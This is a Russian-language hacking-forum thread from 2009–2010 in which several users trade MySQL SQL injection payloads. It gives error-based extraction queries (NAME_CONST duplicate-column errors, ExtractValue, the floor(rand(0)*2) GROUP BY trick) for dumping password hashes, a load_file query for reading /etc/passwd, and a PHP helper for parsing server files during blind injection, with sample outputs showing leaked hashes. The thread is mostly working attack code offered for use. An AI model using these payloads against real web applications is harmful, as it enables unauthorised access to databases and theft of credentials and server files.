ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

01.09.2009, 11:00
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
From ROA with love
Итак, развиваем тему "more 1 row".
Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.
Для этого вспоминаем мой метод получения имён полей из БД:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'
А что если попытаться подставить значение из базы, в качестве имени одного из полей?
На поиск такого варианта я потратил много времени и решение было найдено:
Функция NAME_CONST()
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'
И вот ещё пример от jokester:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.
Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.
Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...
P.S.
Ну что, кто сможет быстрее??
UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 01.09.2009 в 11:03..
|
|
|

01.09.2009, 23:45
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)d)t
JOIN (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)e)b)a;
Если, конечно, мы имеем дело с 32х-символьными хешами. (;
add:
А еще этим способом можно, например, более-менее сносно читать файлы:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)r)e2
JOIN (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)qw)az)ar;
перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.
Сообщение от Qwazar
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns
Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.
Сообщение от Qwazar
Требования: MySQL=5.0.*,
Если быть более точными, нужен MySQL=>5.0.12
Последний раз редактировалось cr0w; 02.09.2009 в 13:32..
|
|
|

26.10.2009, 18:16
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
Код:
sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))
Вернёт ошибку:
Код:
XPATH syntax error: '\test'
Подробнее в этой презентации (слайд 24): http://www.slideshare.net/devteev/ad...7439?src=embed
З.Ы.
Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь.
З.З.Ы.
Ограничение длины вывода - 31 символ.
3.3.3.Ы.
Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 26.10.2009 в 18:28..
|
|
|

05.12.2009, 00:29
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Парсинг файла.
Парсинг файла.
Врятли скажу что нидь новое, да и в старой версии скрипта такая возможность была, но только плохо реализованная, в новой версии эта опция будет добавлена (алгоритм уже нормальный).
Ну так вот, суть в том, что при слепых sql инъекциях читать файлы почти не реально, т.к. времени это займет невероятно много. Но читать весь файл как правило и не нужно, ведь в большинстве случаев интересует какое то конкретное содержимое (переменные с данными для подключения к БД, паролями и т.д.). Вполне логичным становиться парсить файл средствами mysql и получать не всё содержимое файла, а только его нужную часть.
Алгоритм такой:
1. Берем фрагмент нужной переменной (к примеру: 'pass') и ищем его позицию.
2. Далее ищем позиции левой (к примеру: '$') и правой (к примеру: ';') границы.
3. Ищем другие позиции для данного фрагмента и следующие позиции границ.
4. Повторяем пункты 1-3 для фрагментов других переменных.
Таким образом мы получаем массив областей в котором для каждой переменной имеется начальная и конечная позиции.
5. Далее, не менее важным является удалить повторяющиеся позиции и пересечения областей (к примеру: было: '1','6'; '3','4'; '4','8','10','11'; => '1','8';'10','11';).
Для поиска позиций нужно использовать оптимизированную функцию (3.5 запроса на символ) - немного, но всё же быстрее, а тут скорость критична.
Сам поиск позиций осуществляется через функцию locate().
К примеру так:
PHP код:
function grey_fsif($file_name, $text, $begin_pos, $vector = 1) {
if($vector == 1) {
$result = (int) grey_uf2a3('locate(0x'.bin2hex($text).',load_file('.$file_name.'),'.$begin_pos.')', 2);
} else {
$result = (int) $begin_pos - (grey_uf2a3('locate(0x'.bin2hex(strrev($text)).', reverse(left(load_file('.$file_name.'), '.($begin_pos - 1).')))', 2) - 1);
}
return $result; }
Последний раз редактировалось Grey; 05.12.2009 в 00:46..
|
|
|
Вывод информации в ошибке для Mysql >= 4.1 |

24.12.2009, 01:58
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Вывод информации в ошибке для Mysql >= 4.1
Скрипт для теста:
PHP код:
<?php
mysql_connect("localhost", "root", "");
mysql_select_db ('test');
$rz = mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>
Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:
Duplicate entry ' 5.0.45-community-nt1' for key 1
Duplicate entry ' 5.0.45-community-nt0' for key 1
Пример использования в скуле:
Код:
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
Результат:
Код:
Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1
Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):
Код:
http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1
Особенности:
1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 .
2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
Код:
sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
или так:
Код:
sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
Может быть попробую перевести в более удобоваримую форму.
P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg
P.P.S.
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости  .
Так-же тут: http://qwazar.ru/?p=7
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

26.12.2009, 20:07
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от cr0w
Интересно придумал с more1row (:
p.s. и все таки удобнее использовать
Код:
select instr('0123456789abcdef', 'a');
select instr(0x30313233343536373839616263646566, 'a');
чем
Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,);
select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C632C642C652C66);
(;
Ещё альтернатива:
Код:
SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:
SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.
P.S. Ещё короче с регуляркой:
Код:
SELECT 'a' REGEXP '[0-z]'
Последний раз редактировалось Root-access; 27.12.2009 в 00:00..
|
|
|

27.12.2009, 16:33
|
|
Новичок
Регистрация: 23.03.2009
Сообщений: 14
Провел на форуме: 74797
Репутация:
0
|
|
testiruju na 4images s dirkoy na blin sql injection , rezultat nulevoy !!! moj zapros ne tak delau ?
C:\root\php>php.exe -f test.php http://localhost/gallery/categories.
php?cat_id= user_password 4images_users
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: [DONE]
|
|
|

27.12.2009, 19:07
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от Root-access
Ещё альтернатива:
Код:
SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:
SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.
P.S. Ещё короче с регуляркой:
Код:
SELECT 'a' REGEXP '[0-z]'
Это не альтернатива. С помощью find_in_set и ей подобных мы получаем не 0 или 1...
Можно заместо запросов типа
Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
использовать, к примеру, более короткий
Код:
select conv('a',16,10)+1
С помощью функции CONV можно получать значения [0-9a-z], но не более того. так как максимально возможное значение базы системы счисления для нее равно 36.
Последний раз редактировалось cr0w; 28.12.2009 в 02:06..
|
|
|
Вывод данных в ошибке для MySQL>=4.1 |

29.12.2009, 12:25
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Вывод данных в ошибке для MySQL>=4.1
Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.
Вот запрос выводящий данные всегда:
Код:
select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
Источник: http://qwazar.ru/?p=7#comment-8378
P.S.
Различия в том, что в функцию rand() передаётся аргумент 0.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

02.01.2010, 05:36
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Удобно использовать вышеописанный способ Qwazar'a с рэндомом, эксплуатируя сценарии запросами такого вида:
Код:
?sql.php=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--
Таблица table здесь - любая доступная для чтения таблица, содержащая более 2х записей, либо можно вписать вместо нее подзапрос с алиасом:
Код:
?sql.php=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--
А в таблице, с которой читаем инфу, может быть любое число записей.
Последний раз редактировалось cr0w; 03.01.2010 в 21:40..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|